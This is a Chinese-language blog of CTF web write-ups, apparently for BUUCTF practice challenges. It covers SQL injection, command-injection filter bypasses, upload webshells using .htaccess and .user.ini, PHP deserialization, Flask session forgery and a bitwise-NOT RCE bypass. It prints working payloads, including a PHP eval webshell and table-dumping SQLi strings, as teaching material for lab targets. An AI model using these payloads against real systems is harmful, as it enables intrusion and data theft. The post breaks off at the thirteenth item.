web各个方面选择了一些题目进行学习,感觉还是得第一次就应该看通彻,不应该留有问题,能够明白原理和代码中哪出造成这个的原因,反复嚼剩饭感觉浪费时间
Web
1.[强网杯 2019]随便注
1)题目描述
无
2)wp
因为之前没有了解过堆叠注入,这里挨个分析学习
先来确定sql注入
1 | 1' |
然后试试显示所有数据,感觉看不到什么意思,后面一步步分析
1 | 1' or 1=1;# |
然后判断字段
判断处字段数为2
然后用联合注入
发现select被正则匹配过滤了,用大小写绕过也不行,所以只能换一种方法
可以先了解堆叠注入的概念和注入方式
堆叠注入
先查看所有的数据库
注:这里仍然要查询数据为假,比如-1,不然就不会执行后面的sql语句
;间隔sql语句
1 | -1';show databases; |
根据题目名字,先调用supersqli这个库的表看看
1 | -1';use supersqli;show tables; |
看到有两个表,先看一下纯数字的表里的内容
注:当纯数字字符串是表名的时候需要加反引号`
1 | -1';use supersqli;show columns from`1919810931114514`; |
看到flag在里面,再看看words里
1 | -1';use supersqli;show columns from words;# |
VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串
这里猜测,因为flag是字符串,所以猜测输入框查询的就是words表
后台sql语句可能(xx为输入框的内容)
select id,data from words where id=xx
更改表名列名
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,将修改后的 words 表中flag列名改成列名 id ,这样只需进行正常查询就会按上面猜测后台sql语句一样显示出flag
1 | -1';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;# |
show tables
主要看看改成功没有,这里改表名要有顺序,如果先改数字表,那就出现两个words表,导致语句不能执行,所以需要先改words表名为其他名字,然后修改数字表为words;避免因为名字而发生命令冲突
可以看到表1919810931114514
名字被改成了可查询表words
再看看words表的列,flag变成了id,NO变成了YES
因为flag为id了,用1' or 1=1;#
恒真测试使其回显
看看回显数据
得到flag
1 | SQl的rename |
–
看了其他大佬的wp,这里补充两种方法
解题思路2:预处理绕过select限制
因为select被过滤了,所以先将
1 | select * from ` 1919810931114514 ` |
进行16进制编码
再通过构造payload得
1 | ;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
解题思路3:handler绕过
payload:
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
handler基本用法
1 | HANDLER tbl_name OPEN [ [AS] alias] |
句柄:【相当于一个指针,这里是指向数据库里的表】
实例
1 | 3.1 创建测试表及测试数据 |
这里看懂以后,我自己又重新构造了一个
1 | 1'; handler `1919810931114514` open;handler `1919810931114514` read first; |
效果一样,意思也差不多
2.[GXYCTF2019]Ping Ping Ping
1)题目描述
无
2)wp
看名字应该是道命令执行的题目
先传一个IP:123.123.123.123试试
?ip=123.123.123.123
看起来是Linux命令,先显示所有文件试试(;是顺序执行,从左往右,命令全部执行)
?ip=123.123.123.123;ls
看到flag文件,看看能不能直接读出
发现,空格被过滤了,我试试了很多绕过,比如%0a,%20,%09,<>,但是回显都是
?ip=123.123.123.123;cat%0aflag.php
意思是符号都过滤了
这里引入我一个新学的空格代替符$IFS$9,这是个shell中定义的环境变量,在此处可以绕过过滤
$IFS$9($IFS是Unix系统的一个预设变量表示分隔符,$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串)
试试
?ip=123.123.123.123;cat$IFS$9flag.php
发现flag也被过滤了,那就只好先看看index.php文件,试试能不能看到其代码
?ip=123.123.123.123;cat$IFS$9index.php
1 | /?ip= |
看到ip有很多正则匹配的字符,所以没有那么容易绕过
1 | shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 |
1 | print_r函数用于打印变量,以更容易理解的形式展示 |
flag过滤语句的意思判断是否按顺序出现flag
1 | else if(preg_match("/.*f.*l.*a.*g.*/", $ip)) |
所以只要ip里的flag出现不按顺序就行,也就是flag另一种方式表示
我们看源码知道有两个变量,一个是$ip,$a
ip变量无法改变,变量a可以尝试赋值flag试试能不能绕过正则匹配,但是如果是a=flag,就会顺序出现flag,匹配,所以试试a=g,flag–>fla$a
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
查看源码
得到flag
3.[MRCTF2020]你传你🐎呢
1)题目描述
无
2)wp
看标题知道这是一个文件上传的题目,要求上传一个木马
打开先看到一个尸体在在笑,我们先试试能不能直接上传php文件
看来不行,那在试试能不能抓包修改前端文件后缀名,看看是不是前端验证,把php改成png,在抓包修改后缀为php
还是一样,还有一个猜想就是MIME验证,对content-type进行了检查,可以试试使用bp抓包,修改上传的PHP的content-type为image/png,但是还是一样的
于是,可以用.htaccess实现图片马以php文件形式读取(如果不了解可以把.htaccess文件了解一下,把线下靶场upload-labs做一下)
但是上传时,又被过滤了
尝试修改文件名为.htaccess.png,然后用bp抓包修改回.htaccess,上传成功
然后上传图片木马
把路径复制一下
http://424ad9a4-20e6-4394-8150-06fc204ba3e0.node4.buuoj.cn:81/upload/9d0fb395a11b49196f664cfa8fe0200a/1.png
蚁剑连接成功
在根目录发现flag
得到flag
4.[RoarCTF 2019]Easy Calc
1)题目描述
无
2)wp
还是得看大佬得wp才会
这是calc.php的内容,查看源码就可以看到
1 |
|
waf主要就是看有没有非数字存在,绕过waf就好操作了
1.1PHP的字符串解析特性
这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。
例如:/?foo=bar变成Array([foo] => “bar”)。
值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。
如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
1 | /news.php?%20news[id%00=42"+AND+1=0– |
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
我的理解:
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“(空格)num”,而不是“num”。
但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
var_dump()
1 | 列举数组内容 |
scandir() 的使用:
1 | scandir(directory,sorting_order,context); |
file_get_contents() 的使用:
原型:file_get_contents(path,include_path,context,start,max_length)
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
就是显示文件内容
chr(47)是/
的ASCII编码;【/
就是根目录,可以先访问一下根目录,找找大概flag在哪里】
chr(102)是f
的ASCII编码;
chr(49)是1
的ASCII编码;
chr(97)是a
的ASCII编码;
chr(103)是g
的ASCII编码。
【字符间用.
连接,如flag
->chr(102).chr(49).chr(97).chr(103)
】
根据php解析字符串的特性
先试试返回看看根目录(/)下的文件有哪些
http://node4.buuoj.cn:29105/calc.php?num=var_dump(scandir(chr(47)))
看到有个flagg
返回看看/flagg
里的内容
http://node4.buuoj.cn:29105/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
5.[极客大挑战 2019]HardSQL
1)题目描述
无
2)wp
看名字,猜测这个sql注入过滤很严
先试试fuzz测试,看看过滤了哪些,发现union被过滤,所以不能用联合注入
但是发现updatexml没有被过滤,所以可以试试报错注入
先构造payload
1 | ?username=1 |
结果发现结果又被过滤了,后面用fuzz又测试了一下,发现空格也被过滤了,用%0a和其他符号也不能替换,所以只能试试()把结果框起来试试能不能绕过
1 | ?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 |
得到数据库名
后面就是差不多了,但是要注意不能用空格,要用()框住对象
1 | ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23 |
得到表名
1 | ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23 |
得到列名
然后看看列里数据找找flag
1 | ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23 |
看回显知道flag在password里,但为什么显示不全,是因为updatexml报错回显的数据限制最多32位,所以无法显示全flag
所以可以用left和right函数进行分段显示,本来想用stustr函数,但是发现也被过滤了
1 | ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23 |
为什么这里left函数显示30个字符,因为0x7e也就是也是字符,已经占了两位,所以还可以显示30位
1 | ?username=1&password=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23 |
因为是左右显示30位,所以flag内容有重叠,整理一下
得到flag
1 | flag{034eb054-83b5-412c-b90e-afc72c6ce998} |
6.[网鼎杯 2020 青龙组]AreUSerialz1
1)题目描述
无
2)wp
一道典型的序列化题目
先对代码进行分析
1 |
|
1 | function __construct() { |
__construct()函数没有用,不参与序列化中
1 | function is_valid($s) { |
这个函数主要是过滤掉protect类的成员,在序列化的时候是以%00作为标识符
1 | *但是在PHP版本大于7.1的情况下,protect类和public类没什么好注意的,所以在构造序列化时改为public可以绕过is_valid函数 |
1 | function __destruct() { |
__destruc()函数主要是不让op==="2"
,但是在process函数里op又要为“2”
1 | public function process() { |
所以这里利用强弱类型比较,__destruc()函数里op是不能为2,但是是强类型比较,是字符2【”2”】,所以op=2【数字2】,就绕过达到读取flag.php的结果
于是构造出php序列化
1 |
|
得到序列化结果
1 | O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;} |
访问,F12查看【或者改一下filename的值为php://filter伪协议,用base64,可以直接看到】
http://f20b2545-8ff3-4a33-887f-27f4901db96a.node4.buuoj.cn:81/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
得到flag
7.[HCTF 2018]admin
1)题目描述
无
2)wp
这道题开始当作弱密码题解,结果直接爆破出来了
用户名:admin
密码:123
这样应该最简单的方法了
但我看了看其他大佬wp,他们把这个当作flask_session伪造的题目
学习一下
先注册一个试试
用户名:admin123
密码:123456
只在change password
的源码看到线索,知道是flask框架
访问下载文件
flask存在一个session伪造漏洞
1 | flask的session保存在客户端,一般只是加了签名来防止被截取修改,但是如果没有加密我们就可以对session进行解码来获取其中的用户数据。 |
这里的session没有加密,在config.py中得到了签名秘钥ckj123
,于是我们就可以重新生成session,来欺骗服务器
利用cookie editor查看session值
然后再找发现index.html下有flag提示
简单分析一下,就是让session里的name==”admin”
所以这里就需要修改一下我们得到的session
这里建议了解一下一个工具flask-session-cookie-manager-master
能对其进行加密解码【可能需要pip下一些模块,百度可以解决】
1 | 解密 |
1 | {'_fresh': False, '_id': b'b83a7c28f514d37ed353fb8dd5a8febd8703c5b8b2d40b5354872c13dd4314cccf9116d2dcd65987e5f08b2d6cffdf72cb7660baeb7d5e76f3ac2465a956f03f', 'csrf_token': b'c975b35234b704019c94accb0ff54e774dcaae68', 'image': b'cxf4', 'name': 'admin123', 'user_id': '10'} |
然后再加密
然后cookie editor修改为我们加密结果
1 | .eJxFUMtug0AM_JXK5xx4tBekHCKRIiqtEWgJ8l4iGkjAy1IJWlE2yr93m1bKwQd7xvbMXOF4ntq5g-hcD3 gWPfQHSFp3eIgPhiSTYsuDM KRaiq3KJEQ9xpFR-6LFEDmfwZ7c6SPfRZkq4qzhfi0vF-528sJDpuboUsmAI0mdx_ lXlaBGLl-yuBmwouVvV7EySis-rRSkITItZF4H4kZjVYbus6VKrBiTT1L7rl9EQFu4beA0T-fj54dux4cFq0OsUifFVZKGwkkTcuBMFp2T0otEOWvFgPbkOTkdVWWQ7bb3c72pL-3jUuhC-EfG2jgA6sb0I2zga26ne27ge3D7AeD4b34.YwOoDA.quyfjg-Miz9Y5cx6i5hTVr0EWjE |
得到flag
8.[ZJCTF 2019]NiZhuanSiWei
1)题目描述
无
2)wp
先分析一下
1 |
|
第一个
1 | if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")//r为读取权限 |
file_get_contents()函数是将文件内容读取到变量,而这里是从变量读取,读取text变量的值,这里需要text变量为welcome to the zjctf
但是因为可能存在对变量的正则匹配,过滤,一般是用base64绕过
这里就可以利用两个伪协议,php://input和data://,这两个一个是读取post数据,一个是读取get数据,这里用data://协议
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= |
当然这里不用base64也可以
1 | ?text=data://text/plain;welcome to the zjctf |
第二个
1 | include($file); //useless.php |
一个文件包含,尝试用php://filter读取useless.php
1 | &file=php://filter/read=conver.base64-encode/resource=useless.php |
至于password,猜测应该是在useless.php里才有线索,先赋值1看看
于是先构造一个payload
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=1 |
得到useless.php
内容
1 | PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo |
再看看password变量
1 | $password = unserialize($password); |
这里用了反序列化,所以password就是序列化后的值
利用useless.php
构造序列化
1 |
|
运行后
1 | O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
最后payload
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
得到flag
9.[SUCTF 2019]CheckIn
1)题目描述
无
2)wp
先上传一个文本文件试试
1 | exif_imagetype是判断一个图像的类型的进程。 |
所以只能上传图片
先上传一个包含PHP木马的图片马试试
看来是过滤了<?
,所以除了php,其他的asp,aspx,jsp,js都可以绕过
这里以js举例
创建一个js文件,内容为
1 | <script language="php">@eval($_POST["cmd"]);</script> |
在和一个普通图片合成,也可以加个文件头GIF89a
图片马名为haha.gif
然后上传
由于不是php木马,所以无法用.htaccess
文件绕过
这里就需要用.user.ini
配置文件,当然使用前提是.user.ini
文件下有php文件,不然也不能包含了
推荐看一下这篇文章
在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。
1 | auto_append_file、auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 |
所以这里设置自动包含的文件为haha.gif
于是.user.ini
内容为
1 | GIF89a //绕过图片判断 |
上传.user.ini
这个时候haha.gif就已经包含在index.php,可以访问
1 | http://9c7a4b64-1c49-4ee4-a146-dc6763b5ce1c.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php |
能看到GIF98a?
然后也可以用hackbar,post上传命令,如图中的phpinfo()
1 | cmd=var_dump(scandir("/"));//看看根目录,找到flag |
1 | cmd=var_dump(file_get_contents("/flag"));//读取flag文件 |
当然用蚁剑最简单,连接也成功
可以看到index.php文件也在上传的目录下,也就是.user.ini
的同一个目录下,所以才可以成功包含
在根目录发现了flag,打开即可得到flag
但我发现根目录一个clean.sh文件,这是一个定时清空linux服务器上缓存的文件脚本,上传的文件会被定时删除
这是一分钟左右后,靶场环境还在但是无法访问了,所以要快点拿取flag
这里本来想删掉clean.sh,发现没权限,无法执行,sudo也不行,那就只能速战速决了
根目录得到flag
10.[GXYCTF2019]BabyUpload
1)题目描述
无
2)wp
这道题不难,但是开始不清楚还是不知道过滤了什么,
这道题介绍几个点就可以了
第一个是过滤了后缀名含ph
第二也是关键的,它只允许上传content-type: image/jpeg
,png和gif都不可以
第三点就是它过滤了文件内容里含<?
所以上传一个jpeg文件,抓包修改内容为非php但包含php的一个脚本,
1 | <script language="php">@eval($_POST["cmd"]);</script> |
再上传.htaccess文件,解析所有文件为php
用蚁剑连接jpeg文件,即可
11.[极客大挑战 2019]RCE ME
1)题目描述
无
2)wp
先对代码分析
1 |
|
可以看到code被正则匹配,所以字母大小写和数字都不能输入
这里就学到新东西了
取反绕过
取反就是将数字转化为二进制,再把二进制中的1变成0,0变成1
~
是取反符号,
1 | <?php |
然后再赋值
1 | ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6); |
1 | 蚁剑连接 |
但是发现flag是空的
看了其他大佬的wp才知道,需要蚁剑插件disable_functions
,禁止网站的函数,防止其阻止读取flag
再在主页右键
模式选择
然后点击开始
终端输入
/readflag
得到flag
12.[GXYCTF2019]BabySQli
1)题目描述
无
2)wp
开始是一个登录框
我们随便输入一个账号密码
1 | 账号:admin |
报错,看来用户名没错,密码错误
查看源码看看
发现有一串加密字符,看起来像base
先用base32
看起来就是base32+base64
混合编码,再用base64
当然看不出来,直接无脑ciphey
,也可以,当然还是需要了解不同编码和加密字符的特点
也可以得到解码结果
由
1 | select * from user where username = '$name' |
可知,sql注入点在Username处,且为单引号闭合
于是我们尝构造注入
1 | name=admin'%20and%201=1#&pw=123456 |
发现有的字符被过滤了,我们可以用fuzz爆破测试看看,也可以一个一个试
我这里先爆破试试(建议爆破还是慢一些,后面直接太多请求,服务器不发返回包了)
大概统计一下
1 | or |
所以我们只有先试试联合注入
1 | 由于过滤了or |
先试试select 1,2
1 | name=admin'%20union%20select%201,2#&pw=123456 |
发现报错,列数有问题
再试试select 1,2,3
1 | name=admin'%20union%20select%201,2,3#&pw=123456 |
发现虽然没有报错,但是也没有直接回显
再试试select 1,2,3,4
又报错
所以得出列数一共有3列
根据经验这三列,分别是id,username,password
我们可以用以下语句进行确认
1 | name=-1'%20union%20select%20”admin“,2,3 |
提示用户名错误,看来用户名不在第一位
1 | name=-1'%20union%20select%201,"admin",3#&pw=123456 |
提示密码错误,看来用户名回显就在第二位
但是没有回显我们select的数据,可是如果用报错注入和盲注的话,()被过滤了,也不能用
所以我们只有考虑,怎么才可以登录上去
首先这是一个sql注入的题目,密码不可能简单的爆破就可以解决
密码肯定是进行加密,最常见的密码加密就是md5,所以我们利用md()
函数把我们的密码加密,再加上我们的用户名一起导入到题目的数据库里,即可完成登录
注意因为()
被过滤,所以只能先把密码进行md5加密,在导入,而不能直接用函数
这里又有一个新的知识点
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。【union select】
在Web-study
里写的详细
下面简单说一下流程
先把我们的密码123456利用md5加密
1 | e10adc3949ba59abbe56e057f20f883e |
然后构造payload
1 | name=-1'%20union%20select%201,"admin","e10adc3949ba59abbe56e057f20f883e"#&pw=123456 |
得到flag
13.[护网杯 2018]easy_tornado
1)题目描述
无